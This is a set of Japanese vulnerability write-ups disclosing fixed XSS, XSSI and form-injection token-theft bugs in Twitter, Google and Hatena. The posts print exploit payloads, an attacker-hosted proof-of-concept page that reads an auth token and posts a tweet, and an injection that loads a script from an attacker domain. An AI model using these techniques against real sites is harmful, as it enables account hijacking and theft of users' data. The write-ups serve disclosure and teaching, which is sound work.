Twitterの脆弱性3連発

最近僕が発見し、修正されたTwitter脆弱性を3つ紹介します。

1.旧Twitterの文字列処理に絡んだXSS

去年の夏くらいに、Twitter Web上で € 〜 ÿ の文字参照が含まれるツイートをXMLHttpRequestで読み込んだ際に表示が乱れるという問題に気付き*1、その時はこれは脆弱性には繋がらないだろうという判断をしたのだけど、今年の4月になって改めて調べたところ貫通しました。

表示が乱れるというのは、€ 〜 ÿ の文字参照が含まれるツイートがあると、一部の文字が\XXXXの形式に化けたり、ツイート周辺の「"」が「\"」になったりするものだったのですが、今回は「"」が「\"」になる点が脆弱性を発生させていました。

この条件でXSSさせようと思ったら、ツイートを細工してURLや@や#などオートリンクが作成される部分にうまいことイベントハンドラをねじ込んでやろうって思うのが自然な発想だと思うんですが、リンクが作成される文字列に続けてスペースを入れると、当然そこでリンクが終了してしまい、タグ中にスペースを入れることができないんですよね。

言葉で説明してもまどろっこしいので、具体的にどういう試行で失敗するのかを書いて説明すると、


ÿ []http://example.com[] onmouseover=alert(1)//
とか書いても当然、

\377 <a href=\"[]http://example.com[]\">[]http://example.com[]</a> onmouseover=alert(1)//
みたいになるのでhref属性を区切ってonmouseoverを紛れ込ませることができないという訳です。

が、一箇所タグ内にスペースが挿入できる箇所があることに今年になって気が付きました!アイコン画像のalt属性にニックネームが埋め込まれており、ここにはスペースが入れられたのです。スペースが入れられれば、そこで引用符のない属性として属性を終了させることができ、後ろに任意の属性を記述することができます。

試行錯誤した結果、以下のようにしてスクリプトを発動させることができました。

ニックネーム:

[スペース]onerror='/*

ツイート:

&#xFF;*/alert(1)'style='color:red;font-size:100px'id=


すると、このように出力されます。(HTMLはアイコン画像とツイートのみに簡略化しています)

<img alt=\" onerror='/*\" class=\"photo fn\" src=\"[]https://si1.twimg.com/profile_images/123123/icon.gif[]\" height=\"48\" width=\"48\">
<span class=\"entry-content\">\337*/alert(1)'style='color:red;font-size:100px'id=</span>

ニックネームに使用できる文字数制限が20文字と厳しいので、ツイートが出力される箇所までコメントアウトしてツイートにスクリプトなどを記述しています。

2011年4月9日報告し、「複雑なバグで、修正には時間が掛かりそうだ」と回答を貰い、確かに数週間を要していましたが無事修正されました。

2.Web IntentsのXSS

Web Intents という最近リリースされた機能*2があります。

ここでもまたニックネームが出力される箇所があったんですが、珍しく「"」ではなく「'」で囲っていることに気が付きました。
なんかXSS臭がするので、ニックネームに「'」を入れて確認すると、見事にそのまま出力されました。

ただニックネームの文字数制限が20文字と、今回もここに直に攻撃コードを書くのは厳しそうです。
幸い(?)ここでも後半にツイートが出力される箇所があったので、これもまた最初に紹介したのと同じように、ニックネームとツイートの間を属性に押し込み、ツイートにスクリプトの本体を書くように考えました。
ただし、今回はニックネームからツイートの間にもう一箇所ニックネームが出力される箇所があり、かつ、途中で「'」で括られた属性が存在したので、多少記述を工夫する必要がありました。

以下のようにしました。

ニックネーム*3

*/`'[スペース]onclick=`/*

ツイート:

*/`onmouseover='alert(location)'style='color:red;font-size:100px'id='


これでInternet Explorer 9スクリプトを動作させることができました。
その時のHTMLを抜き出すと以下のようになります。

・・・
    <div class="tweet-content simple-tweet-content normal">
      
        <div class="tweet-row">
          
          <span class='tweet-user-name'>

            <a class='tweet-screen-name user-profile-link'
               href='/intent/user?screen_name=kinugawamasato0'
               title='*/`' onclick=`/*'>kinugawamasato0</a>
            <span class='tweet-full-name'>*/`' onclick=`/*</span>
          </span>
          <div class="tweet-corner">
            
            <div class='tweet-meta'>
              <div class='icons'>
                                  
                
                <div class="extra-icons">
                  
                  <span class="inlinemedia-icons"></span>

                  
                </div>
              </div>
            </div>
          </div>
        </div>
      
      <div class="tweet-row">
        
        <div class='tweet-text'>*/`onmouseover='alert(location)'style='color:red;font-size:100px'id='</div>
      </div>

      
      <div class="tweet-row">
        
        <a href="/kinugawamasato0/status/88242587323990016"
           class='tweet-timestamp' title="Jul  5, 2011">
                      
          
          <span class="_timestamp">
            2 minutes ago          </span>
        </a>
・・・

Internet Explorerでは「`」を属性の引用符に使うことができます。そのため「"」や「'」を「`」で囲った属性中に押し込むことができる訳です。ハイライトは「`」が引用符として解釈されていないので無視して、「`」を引用符として考えてみてください。
邪魔な部分をonclickに2回押し込んで、ツイートの部分までタグとして成立するようにしているのがわかるかと思います。

発動させるのはややこしいんですが、「"<>」などは保険的なXSS対策のためか、もともとニックネームに含むことができないようになっているので、修正はニックネームが属性内に出力される部分の引用符を「'」から「"」に変えるだけで簡単に済んだようです。
2011年7月5日の報告から1日以内に修正されました。

3.mobile.twitter.comのtokenの漏洩(XSSI)

mobile.twitter.comにアクセスすると読み込まれるJavaScriptファイル*4を見たところ、こんな風に記述されていました。

if (window.top !== window.self) {document.write = "";window.top.location = window.self.location; setTimeout(function(){document.body.innerHTML='';},1);window.self.onload=function(evt){document.body.innerHTML='';};}
    var M2 = {
      auth_token: "180b4b5bd4a7d2db148d"
    }

見てお分かりのようにtokenが普通に入っています(!)
確認してみると、本当にTwitter上の操作を制御しているtokenのようでした。

これにより、以下のようにしてtokenを受け取ってTwitter外のサイトからツイートを投稿させるなどのことができてしまっていました。*5

<!-- http://attacker.example.com/ -->
<html>
<form action="https://mobile.twitter.com" method="post">
<input type="hidden" name="authenticity_token" value="" id="t">
<textarea name="tweet[text]">こんにちはこんにちは!!</textarea>
<input type="submit">
</form>

<script src="https://mobile.twitter.com/js/initial.javascript"></script>
<script>document.getElementById('t').value=M2.auth_token;</script>
</html>

なんでこんなことになってしまったのかというと、
恐らくこれ、2011年の3月にmobile.twitter.comはFirefox 4以降のユーザ−エージェントでアクセスするとContent Security Policyに対応したページが返されるようになった*6んですけど、Content Security Policyでは(オプションを追加しない限りは)インラインのJavaScriptが実行されなくなるので、今までインラインのJavaScriptにtokenを書いていた部分を、JavaScriptファイルの中に入れてCSPを回避してしまえ、って雑に変更をしてしまって起きた問題なんじゃないかと思います。セキュアにしようとして、かえって脆弱性が生まれてしまった面白い失敗例ですね。

2011年7月6日の報告から、これも1日以内に修正されました。
(ただ、この記事を書いた段階では、脆弱性は修正されましたが、上記のtokenが記述されたJavaScriptをインラインに移しただけのようなので、Firefox 4以降のブラウザでアクセスした場合は、当然CSPで弾かれて一部の機能がうまく動きません。たぶん気付いてると思います。)


以上でした!
Twitter、最近短期間でちゃんと対応してくれるので良いですね。

*1:スペルがバグじゃなくてバッグになってるけどミス!Twitterバッグ欲しい!

*2:https://dev.twitter.com/pages/intents

*3:onclickである必要はないです。括ってしまうためのダミーの属性です。

*4:https://mobile.twitter.com/js/initial.javascript

*5:なお、mobile.twitter.comとtwitter.comでは異なるtokenを使用していたので、twitter.comでログインしていたユーザーはこの脆弱性の影響を受けませんでした。

*6:About

Google's Vulnerability Reward Program

Googleは2010年11月からGoogleのウェブアプリケーションのセキュリティ脆弱性を報告した人に報酬を支払う制度をスタートしました。僕も早速いくつか報告し、以前TwitterGoogleから$7337頂いたよとつぶやきましたが、あれから新たに$6337の入金があり、今のところこの制度で$13174($1337 × 2 + $1000 × 2 + $500 × 17)を頂いています!ありがとう!


追記 7337+6337=13674なので入金があったのは$13674($1337 × 2 + $1000 × 2 + $500 × 18)でした。合計を間違えてました。足し算難しい!><+$500!



修正されたものは情報を公開してもいいとのことなので、報告した中から多少変わったタイプの脆弱性を3つ紹介しようと思います。

<script>タグのsrcを細工することによるXSS

こんなページがありました。

URL:http://ex.google.com/?q=xxx


<html>
・・
<script src="[]http://www-[]xxx.[]google[].com/a.js"></script>
・・
</html>
URLのパラメータが<script>タグのsrcで読み込むURLのサブドメインの一部になるかんじです。
「"<>」などは処理されていましたが、その他の文字は自由に入れることが出来たので、
www-で始まる自分の管理下のドメインを用意し、以下のように入力することで外部ドメインのjsを読み込ませることができました。
(例はwww-attacker.comが自分の管理下)

URL:http://ex.google.com/?q=attacker.com/xss.js%23


<html>
・・
<script src="[]http://www-[]attacker.com/[]xss[].js#.[]google[].com/a.js"></script>
・・
</html>

方法は単純ですがあまり見ないパターンだったので、貫通した時は「おっ」と思いました。

スタイルシートのパスを細工することよるXSS

URL:http://www.google.com/path1/path2xxx/path3


<html>
・・
<link href="[]http://www.[][]google[][].com/path1/[]path2xxx/[]css[]/default.[]css[]" rel="stylesheet">
・・
</html>

path2の部分が「path2」という名前でなくてもNot Foundにならないで、そこの文字が<link>タグ内に入るかんじのページです。
こんな場合、「"<>」が適切に処理されていたとしても、IEならスクリプトを注入できることがあります。


URL:http://www.google.com/path1/..%5Csearch%3Fq=}*{x:expression(alert(1))}%23/path3


<html>
・・
<link href="[]http://www.[][]google[][].com/path1/[]..\search?q=}*{x:expression(alert(1))}#/[]css[]/default.[]css[]" rel="stylesheet">
・・
</html>

スラッシュを入れると元URLの階層が変わってしまうので、%5Cで代用してディレクトリを遡り、
Google検索で「}*{x:expression(alert(1))}」を検索したページを読み込んでいます。

IEでは、これでスクリプトが動作します。何が起きているのかというと、、


IEは以下のようなコードで、<link>タグのhrefに指定されているHTMLのページをスタイルシートとして使用でき、背景を赤くするスタイルを適用させることができます。*1


<link href="[]http://www.[][]google[][].com/search?q=[]}*{background:red}" rel="stylesheet">

「}*{background:red}」みたいなのがhrefで読んでるページのHTML内に入ってると、それをスタイルシートとして拾ってくれるかんじです。この仕様により、同様にしてHTML内に「}*{x:expression(alert(1))}」が入る場所をhrefに指定すれば、expressionを拾ってくれてJavaScriptを呼び出せてしまう訳です。(追記 text/htmlのページをCSSとして読むことができるのは、きちんとパッチの当てられたIEでは、同一ドメインしかできません。)


スタイルシートの<link>タグのhrefのパスになにか入れることができると、hrefで読み込んでいるドメイン上に「}*{background:red}」とか挿入できるページが一箇所でもあった場合、ディレクトリを操作してそのページまで持っていけば、任意のスタイルシートを読み込ませることができる、すなわちexpressionからJavaScriptを使用できXSSが起こるので、(普通はやらないと思うけど)スタイルシートのパスにユーザーの入力値を入れられるような作りは危ないと思います。

UTF-7による<script>タグを使った情報窃取

こんなページがありました。

URL:http://ex.google.com/?q=xxx


//["xxx","example@[]gmail[].com","Tokyo"]
xxxのところにURLのパラメータの値がきています。
他の入力値を試したところ、「"<>」などはエスケープされていて、改行(%0a)を入れるとはじかれました。HTTPレスポンスヘッダのContent-Typeは「text/html;charset=utf-8」と指定されていました。

一見問題なさそうですが、IE6/7ではページのcharsetがContent-Typeで指定されていても、そのページをsrcから読もうとする<script>タグに設定されたcharsetの値が優先されるというワンパクな仕様がある*2ので、これを利用して外部にUTF-7のcharsetを設定した<script>タグから、メールアドレスと住所の部分を読みだすことができます。

このようなかんじのコードを外部に設置します。


<script src="[]http://ex.[][]google[][].com/?q=[]%2BAAo-var%20x%2BAD0AWwAi-" charset="utf-7"></script>
<button onclick="alert(x)">Click</button>

srcに指定されている部分のページは普通にアクセスすればこんなかんじに出力されるはずです。


//["+[]AAo[]-var x+AD0AWwAi-",""example@[]gmail[].com","Tokyo"]

しかしながらIE6/7でUTF-7のcharsetが設定された<script>タグからはこう解釈されるでしょう。


//["
var x=["",""example@[]gmail[].com","Tokyo"]

改行はここでは弾かれるので、あえて+と-でくくった形式「+AAo-」にして入れ、コメントアウトから抜けています。これでJavaScriptのエラーも無く、変数xにメールアドレスと住所を含める事が出来ました。そんな訳で外部に設置したbuttonをクリックするとメールアドレスと住所がアラートします。

Googleはこの問題を、URLにトークンを付与しチェックすることで対策しました。


はい、以上です!
Googleに続いて、他のサービスでも報酬制度を設けるところがでてくるといいなあと思います!

*1:正確にはIE6/7と、DOCTYPE指定によりIE5モードでレンダリングされているIE8で有効になります。

*2:はせがわようすけさんの発表(1時間55分辺り)で知りました!

formタグを利用したtoken奪取

スクリプトの実行はできない(XSS対策されている)し、tokenは導入されている(CSRF対策されている)のに、tokenを奪取され、不本意な操作をされてしまう例というのを1つ、やってみたいと思います!

原理

こういうフォームがあったら、submitボタンを押下した時にtokenの値がA、Bどっちにポストされるでしょうか。

<form action="A" method="post">
<form action="B" method="post">
<input type="hidden" name="token" value="123123123">
<input type="submit">
</form>


答えはAです。
つまり本来設置されたフォームより前に別のformタグを挿入可能なら、submitを押下した際のポスト先を変更することができます。
現在のはてなダイアリーはコメント投稿フォームより前に任意のformタグが挿入可能で、コメントの投稿ボタンを押下した時のポスト先を偽装できる状態になっています。これはセキュリティ的によろしくないですね。
一番上の実証はコメントの投稿ボタンのスタイルを変更し、透明で巨大にしています。このようにすればコメントを投稿する意思が無い人でも予期せぬポスト先へtokenを送信させられてしまうでしょう。
はてなはてなの全サービス(?)で共通のtokenを利用しているようなので、これによりはてな内のサービスで不本意な操作をされる恐れがあります。

はてながすべき対策

<form>(または<textarea>)が記事内で閉じられていない場合ははてな側で記事内で強制的に閉じましょう。

あ、<textarea>についても補足しておくと、閉じないとこんなことになるでしょう!

〜記事の開始〜
<form action="A" method="post">
<input type="submit" style="巨大+透明にする">
<textarea name="a" style="見えなくする">
〜記事の終わり〜
<form action="B" method="post">
<input type="hidden" name="token" value="123123123">
<input type="submit">
</form>

submitを押下するとtextarea以下のtokenを含むHTMLが全てAに送信されてしまいますね!

これはとっくの昔(昭和62年)にはてなに報告した問題なのですが修正されないので問題と認識してもらえなかったのかもしれません。
普通に問題だし、できれば対策して欲しいですね。


追記

2011/4/16 はてなから修正が完了したという連絡を貰いました。

TwitterからTシャツを頂いた

id:hasegawayosukeさんに引き続き、ぼくも貰いました!!!!ヤッター!!!!




おまえこの前のRinbowTwtr(https://twitter.com/kinugawamasato/status/25098556840)で貰ったんかい!って誤解されないように
今までTwitterにコソコソ報告してきたセキュリティ問題を並べときますね><


XSS1
https://twitter.com/kinugawamasato/status/15745183229

XSS2
https://twitter.com/kinugawamasato/status/15910066083

XSS3
https://twitter.com/kinugawamasato/status/16262204218

XSS4
http://d.hatena.ne.jp/masatokinugawa/20100623/twitter_xss

XSS5
https://twitter.com/kinugawamasato/status/17914195898
(これ→http://groups.google.com/group/twitter-dev-anywhere/browse_thread/thread/f3d6cc7332f4e617)

XSS6
https://twitter.com/kinugawamasato/status/21127062705

XSS7
https://twitter.com/kinugawamasato/status/23213055848

XSS8
https://twitter.com/kinugawamasato/status/24213655001

XSS9
https://twitter.com/kinugawamasato/status/25132752776

XSS10
https://twitter.com/kinugawamasato/status/25298708030

XSS11,12
https://twitter.com/kinugawamasato/status/25370014576

XSS13
https://twitter.com/kinugawamasato/status/25510323267

XSS14
https://twitter.com/kinugawamasato/status/25628892639

t.coの展開されるURLが偽装できる問題
https://twitter.com/kinugawamasato/status/21928670651

オープンリダイレクタ
https://twitter.com/kinugawamasato/status/25974447695



ありがとうツイッター!!
Tシャツだけじゃ寒いので次ははてなパンツとpixivズボン辺りが欲しいですね><